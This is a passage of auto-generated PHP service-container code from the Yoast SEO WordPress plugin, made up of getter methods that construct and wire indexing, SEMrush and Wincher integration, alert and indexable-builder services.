\Yoast\WP\SEO\Actions\Indexing\Indexable_Term_Indexation_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService()), $a, ($this->services['wpdb'] ?? $this->getWpdbService()), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexing_Complete_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Indexing_Complete_Action */ protected function getIndexingCompleteActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Complete_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexing_Complete_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action */ protected function getIndexingPrepareActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexing_Prepare_Action'] = new \Yoast\WP\SEO\Actions\Indexing\Indexing_Prepare_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Indexing_Helper'] ?? $this->getIndexingHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action */ protected function getPostLinkIndexingActionService() { $a = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] ?? $this->getIndexableLinkBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']; } $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']; } $c = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action']; } $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Indexing\Post_Link_Indexing_Action($a, $b, $c, ($this->services['wpdb'] ?? $this->getWpdbService())); $instance->set_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action */ protected function getTermLinkIndexingActionService() { $a = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] ?? $this->getIndexableLinkBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']; } $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']; } $c = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'])) { return $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action']; } $this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] = $instance = new \Yoast\WP\SEO\Actions\Indexing\Term_Link_Indexing_Action($a, $b, $c, ($this->services['wpdb'] ?? $this->getWpdbService())); $instance->set_helper(($this->services['Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper'] ?? $this->getTaxonomyHelperService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Actions\Integrations_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Integrations_Action */ protected function getIntegrationsActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Integrations_Action'] = new \Yoast\WP\SEO\Actions\Integrations_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\SEMrush\SEMrush_Login_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Login_Action */ protected function getSEMrushLoginActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Login_Action'] = new \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Login_Action(($this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client'] ?? $this->getSEMrushClientService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\SEMrush\SEMrush_Options_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Options_Action */ protected function getSEMrushOptionsActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Options_Action'] = new \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Options_Action(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\SEMrush\SEMrush_Phrases_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Phrases_Action */ protected function getSEMrushPhrasesActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\SEMrush\\SEMrush_Phrases_Action'] = new \Yoast\WP\SEO\Actions\SEMrush\SEMrush_Phrases_Action(($this->services['Yoast\\WP\\SEO\\Config\\SEMrush_Client'] ?? $this->getSEMrushClientService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action */ protected function getWincherAccountActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Account_Action'] = new \Yoast\WP\SEO\Actions\Wincher\Wincher_Account_Action(($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] ?? $this->getWincherClientService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action */ protected function getWincherKeyphrasesActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Keyphrases_Action'] = new \Yoast\WP\SEO\Actions\Wincher\Wincher_Keyphrases_Action(($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] ?? $this->getWincherClientService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action' shared autowired service. * * @return \Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action */ protected function getWincherLoginActionService() { return $this->services['Yoast\\WP\\SEO\\Actions\\Wincher\\Wincher_Login_Action'] = new \Yoast\WP\SEO\Actions\Wincher\Wincher_Login_Action(($this->services['Yoast\\WP\\SEO\\Config\\Wincher_Client'] ?? $this->getWincherClientService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Alerts\Application\Default_SEO_Data\Default_SEO_Data_Alert' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\Application\Default_SEO_Data\Default_SEO_Data_Alert */ protected function getDefaultSEODataAlertService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\Application\\Default_SEO_Data\\Default_SEO_Data_Alert'] = new \Yoast\WP\SEO\Alerts\Application\Default_SEO_Data\Default_SEO_Data_Alert(($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Alerts\\Infrastructure\\Default_SEO_Data\\Default_SEO_Data_Collector'] ?? $this->getDefaultSEODataCollectorService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper'] ?? $this->getPostTypeHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Alerts\Application\Indexables_Disabled\Indexables_Disabled_Alert' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\Application\Indexables_Disabled\Indexables_Disabled_Alert */ protected function getIndexablesDisabledAlertService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\Application\\Indexables_Disabled\\Indexables_Disabled_Alert'] = new \Yoast\WP\SEO\Alerts\Application\Indexables_Disabled\Indexables_Disabled_Alert(($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService())); } /** * Gets the public 'Yoast\WP\SEO\Alerts\Application\Ping_Other_Admins\Ping_Other_Admins_Alert' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\Application\Ping_Other_Admins\Ping_Other_Admins_Alert */ protected function getPingOtherAdminsAlertService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\Application\\Ping_Other_Admins\\Ping_Other_Admins_Alert'] = new \Yoast\WP\SEO\Alerts\Application\Ping_Other_Admins\Ping_Other_Admins_Alert(($this->services['Yoast_Notification_Center'] ?? $this->getYoastNotificationCenterService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper'] ?? $this->getShortLinkHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Product_Helper'] = new \Yoast\WP\SEO\Helpers\Product_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Alerts\Infrastructure\Default_SEO_Data\Default_SEO_Data_Collector' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\Infrastructure\Default_SEO_Data\Default_SEO_Data_Collector */ protected function getDefaultSEODataCollectorService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\Infrastructure\\Default_SEO_Data\\Default_SEO_Data_Collector'] = new \Yoast\WP\SEO\Alerts\Infrastructure\Default_SEO_Data\Default_SEO_Data_Collector(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Alerts\User_Interface\Default_SEO_Data\Default_SEO_Data_Cron_Callback_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\User_Interface\Default_SEO_Data\Default_SEO_Data_Cron_Callback_Integration */ protected function getDefaultSEODataCronCallbackIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_SEO_Data\\Default_SEO_Data_Cron_Callback_Integration'] = new \Yoast\WP\SEO\Alerts\User_Interface\Default_SEO_Data\Default_SEO_Data_Cron_Callback_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_Seo_Data\\Default_SEO_Data_Cron_Scheduler'] ?? ($this->services['Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_Seo_Data\\Default_SEO_Data_Cron_Scheduler'] = new \Yoast\WP\SEO\Alerts\User_Interface\Default_Seo_Data\Default_SEO_Data_Cron_Scheduler())), ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Alerts\User_Interface\Default_SEO_Data\Default_SEO_Data_Watcher' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\User_Interface\Default_SEO_Data\Default_SEO_Data_Watcher */ protected function getDefaultSEODataWatcherService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_SEO_Data\\Default_SEO_Data_Watcher'] = new \Yoast\WP\SEO\Alerts\User_Interface\Default_SEO_Data\Default_SEO_Data_Watcher(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Alerts\User_Interface\Default_Seo_Data\Default_SEO_Data_Cron_Scheduler' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\User_Interface\Default_Seo_Data\Default_SEO_Data_Cron_Scheduler */ protected function getDefaultSEODataCronSchedulerService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\User_Interface\\Default_Seo_Data\\Default_SEO_Data_Cron_Scheduler'] = new \Yoast\WP\SEO\Alerts\User_Interface\Default_Seo_Data\Default_SEO_Data_Cron_Scheduler(); } /** * Gets the public 'Yoast\WP\SEO\Alerts\User_Interface\Resolve_Alert_Route' shared autowired service. * * @return \Yoast\WP\SEO\Alerts\User_Interface\Resolve_Alert_Route */ protected function getResolveAlertRouteService() { return $this->services['Yoast\\WP\\SEO\\Alerts\\User_Interface\\Resolve_Alert_Route'] = new \Yoast\WP\SEO\Alerts\User_Interface\Resolve_Alert_Route(($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\User_Helper'] = new \Yoast\WP\SEO\Helpers\User_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Capability_Helper'] = new \Yoast\WP\SEO\Helpers\Capability_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Analytics\Application\Missing_Indexables_Collector' shared autowired service. * * @return \Yoast\WP\SEO\Analytics\Application\Missing_Indexables_Collector */ protected function getMissingIndexablesCollectorService() { return $this->services['Yoast\\WP\\SEO\\Analytics\\Application\\Missing_Indexables_Collector'] = new \Yoast\WP\SEO\Analytics\Application\Missing_Indexables_Collector(($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_General_Indexation_Action'] ?? $this->getIndexableGeneralIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Indexation_Action'] ?? $this->getIndexablePostIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Post_Type_Archive_Indexation_Action'] ?? $this->getIndexablePostTypeArchiveIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Indexable_Term_Indexation_Action'] ?? $this->getIndexableTermIndexationActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Post_Link_Indexing_Action'] ?? $this->getPostLinkIndexingActionService()), ($this->services['Yoast\\WP\\SEO\\Actions\\Indexing\\Term_Link_Indexing_Action'] ?? $this->getTermLinkIndexingActionService())); } /** * Gets the public 'Yoast\WP\SEO\Analytics\Application\To_Be_Cleaned_Indexables_Collector' shared autowired service. * * @return \Yoast\WP\SEO\Analytics\Application\To_Be_Cleaned_Indexables_Collector */ protected function getToBeCleanedIndexablesCollectorService() { return $this->services['Yoast\\WP\\SEO\\Analytics\\Application\\To_Be_Cleaned_Indexables_Collector'] = new \Yoast\WP\SEO\Analytics\Application\To_Be_Cleaned_Indexables_Collector(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Cleanup_Repository'] ?? $this->getIndexableCleanupRepositoryService())); } /** * Gets the public 'Yoast\WP\SEO\Analytics\User_Interface\Last_Completed_Indexation_Integration' shared autowired service. * * @return \Yoast\WP\SEO\Analytics\User_Interface\Last_Completed_Indexation_Integration */ protected function getLastCompletedIndexationIntegrationService() { return $this->services['Yoast\\WP\\SEO\\Analytics\\User_Interface\\Last_Completed_Indexation_Integration'] = new \Yoast\WP\SEO\Analytics\User_Interface\Last_Completed_Indexation_Integration(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper()))); } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Author_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Author_Builder */ protected function getIndexableAuthorBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder']; } $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Author_Builder(($this->services['Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper'] ?? $this->getAuthorArchiveHelperService()), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), $a); $instance->set_social_image_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] ?? $this->getImageHelper2Service()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] ?? $this->getImageHelper4Service())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Builder */ protected function getIndexableBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Author_Builder'] ?? $this->getIndexableAuthorBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $b = ($this->services['Yoast\\WP\\SEO\\Builders\\Primary_Term_Builder'] ?? $this->getPrimaryTermBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $c = ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $d = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Builder'] ?? $this->getIndexablePostBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $e = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Term_Builder'] ?? $this->getIndexableTermBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $f = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder'] ?? $this->getIndexableHomePageBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $g = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Post_Type_Archive_Builder'] ?? $this->getIndexablePostTypeArchiveBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $h = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] ?? $this->getIndexableHierarchyBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $i = ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] ?? $this->getIndexableLinkBuilderService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder']; } $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Builder($a, $d, $e, $f, $g, ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder'] ?? $this->getIndexableDateArchiveBuilderService()), ($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_System_Page_Builder'] ?? $this->getIndexableSystemPageBuilderService()), $h, $b, $c, ($this->services['Yoast\\WP\\SEO\\Services\\Indexables\\Indexable_Version_Manager'] ?? $this->getIndexableVersionManagerService()), $i); $instance->set_indexable_repository(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Date_Archive_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Date_Archive_Builder */ protected function getIndexableDateArchiveBuilderService() { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Date_Archive_Builder'] = new \Yoast\WP\SEO\Builders\Indexable_Date_Archive_Builder(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions()))); } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder */ protected function getIndexableHierarchyBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Hierarchy_Repository'] ?? $this->getIndexableHierarchyRepositoryService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder']; } $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder']; } $c = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder']; } $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Hierarchy_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Hierarchy_Builder($a, ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] ?? ($this->services['Yoast\\WP\\SEO\\Repositories\\Primary_Term_Repository'] = new \Yoast\WP\SEO\Repositories\Primary_Term_Repository())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), $c, $b); $instance->set_indexable_repository(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Home_Page_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Home_Page_Builder */ protected function getIndexableHomePageBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder']; } $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Home_Page_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Home_Page_Builder(($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] ?? ($this->services['Yoast\\WP\\SEO\\Values\\Indexables\\Indexable_Builder_Versions'] = new \Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions())), $a); $instance->set_social_image_helpers(($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? $this->getImageHelperService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper'] ?? $this->getImageHelper2Service()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper'] ?? $this->getImageHelper4Service())); return $instance; } /** * Gets the public 'Yoast\WP\SEO\Builders\Indexable_Link_Builder' shared autowired service. * * @return \Yoast\WP\SEO\Builders\Indexable_Link_Builder */ protected function getIndexableLinkBuilderService() { $a = ($this->services['Yoast\\WP\\SEO\\Helpers\\Post_Helper'] ?? $this->getPostHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder']; } $b = ($this->services['Yoast\\WP\\SEO\\Helpers\\Indexable_Helper'] ?? $this->getIndexableHelperService()); if (isset($this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'])) { return $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder']; } $this->services['Yoast\\WP\\SEO\\Builders\\Indexable_Link_Builder'] = $instance = new \Yoast\WP\SEO\Builders\Indexable_Link_Builder(($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] ?? ($this->services['Yoast\\WP\\SEO\\Repositories\\SEO_Links_Repository'] = new \Yoast\WP\SEO\Repositories\SEO_Links_Repository())), ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Url_Helper'] = new \Yoast\WP\SEO\Helpers\Url_Helper())), $a, ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] ?? ($this->services['Yoast\\WP\\SEO\\Helpers\\Options_Helper'] = new \Yoast\WP\SEO\Helpers\Options_Helper())), $b, new \Yoast\WP\SEO\Images\Application\Image_Content_Extractor()); $instance->set_dependencies(($this->services['Yoast\\WP\\SEO\\Repositories\\Indexable_Repository'] ?? $this->getIndexableRepositoryService()), ($this->services['Yoast\\WP\\SEO\\Helpers\\Image_Helper'] ?? 